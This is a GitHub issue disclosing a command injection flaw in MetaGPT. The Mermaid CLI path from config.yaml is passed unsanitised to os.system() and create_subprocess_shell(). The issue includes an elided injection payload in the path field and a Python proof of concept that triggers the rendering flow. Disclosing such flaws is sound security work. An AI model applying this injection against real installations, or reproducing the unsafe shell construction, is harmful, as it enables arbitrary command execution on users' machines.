https://github.com/FoundationAgents/MetaGPT/issues/2037
I identified a command injection issue in MetaGPT's Mermaid rendering flow.
MetaGPT allows users to configure the Mermaid CLI executable through the mermaid.path field in config.yaml. That value is treated as a raw string and is later passed into shell-based execution in multiple places.
As a result, if an attacker can tamper with the Mermaid path configuration, they can inject arbitrary shell syntax and execute commands in the security context of the user running MetaGPT.
For example, a payload in the form below is sufficient in principle to achieve arbitrary command execution:
; bash -c '...' #
This issue is caused by unsafe command construction and shell execution, not by Mermaid itself.
The mermaid.path value is handled as a raw string and is later embedded into shell commands.
There are two unsafe execution points:
metagpt/utils/common.py
check_cmd_exists() directly concatenates the configured value into a shell command and executes it with os.system().metagpt/utils/mermaid.py
mermaid_to_file() builds a shell command using the configured Mermaid path and executes it with asyncio.create_subprocess_shell().Because both locations rely on shell parsing, the path field can contain shell metacharacters and injected commands.
llm:
api_type:"openai"
base_url:""
api_key:""
model:""
temperature:0.0
stream:true
reasoning:false
timeout:600
repair_llm_output:true
prompt_schema:"json"
workspace:
path:"/data/agent-sec/tmp/repos/MetaGPT/workspace"
mermaid:
engine:"nodejs"
# path: "mmdc"
path:"mmdc; /bin/bash -c '...' #'"
puppeteer_config:"~/.metagpt/puppeteer-config.json"
The payload above demonstrates that the configured executable path is interpreted as shell input rather than as a trusted executable path.
Below is a minimal Python PoC that triggers the Mermaid rendering path.
#!/usr/bin/env python3
import asyncio
from pathlib import Path
from metagpt.actions.design_api import WriteDesign
from metagpt.actions.write_prd import WritePRD
from metagpt.config2 import Config
from metagpt.context import Context
PROMPT = """
Generate a minimal PRD and system design for a Pomodoro task management web application.
""".strip()
async def main():
cfg = Config.default(reload=True)
ctx = Context(config=cfg)
base = Path("/data/agent-sec/tmp/repos/MetaGPT/workspace/mermaid_flow")
base.mkdir(parents=True, exist_ok=True)
prd_path = base / "docs" / "prd.json"
design_path = base / "docs" / "system_design.json"
prd = WritePRD(context=ctx)
prd_result = await prd.run(
user_requirement=PROMPT,
output_pathname=str(prd_path),
extra_info="The output must reliably contain Mermaid diagram fields, and the diagram content itself must be directly renderable by Mermaid CLI.",
)
print(prd_result)
design = WriteDesign(context=ctx)
design_result = await design.run(
user_requirement=PROMPT,
prd_filename=str(prd_path),
output_pathname=str(design_path),
extra_info="To reiterate: the classDiagram and sequenceDiagram in the system design must be valid Mermaid syntax, without comments or explanatory prefixes/suffixes.",
)
print(design_result)
expected = [
base / "docs" / "prd-competitive-analysis.svg",
base / "docs" / "system_design-class-diagram.svg",
base / "docs" / "system_design-sequence-diagram.svg",
]
for path in expected:
print(f"{path} exists={path.exists()}")
if __name__ == "__main__":
asyncio.run(main())